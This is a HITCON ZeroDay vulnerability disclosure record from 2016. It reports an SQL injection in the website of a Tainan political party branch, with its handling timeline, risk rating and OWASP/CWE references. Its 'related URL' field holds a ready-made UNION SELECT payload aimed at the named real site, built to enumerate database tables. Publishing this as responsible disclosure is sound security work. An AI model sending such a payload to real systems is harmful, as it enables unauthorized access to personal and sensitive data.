某政府單位SQL注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00090
  • Vendor: 民主進步黨-台南市黨部
  • Title: 某政府單位SQL注入漏洞
  • Introduction: 出現Web 最不該出現的SQL Injection

處理狀態

目前狀態

公開
Last Update : 2016/11/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2016/06/03 15:49:31 : 新提交 (由 aaa 更新此狀態)
  • 2016/06/06 23:33:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/06/30 12:18:22 : 內部作業 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/06/30 12:18:30 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/09 03:00:03 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2016-00090
  • 通報者:honc (aaa)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.tndpp.org.tw/album-content.php?id=37%27%20union%20select%201,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()%20--%20+

敘述

簡單的構造普通SQL 語句組合成,就可輕鬆爆出資料庫Database

擷圖

留言討論

;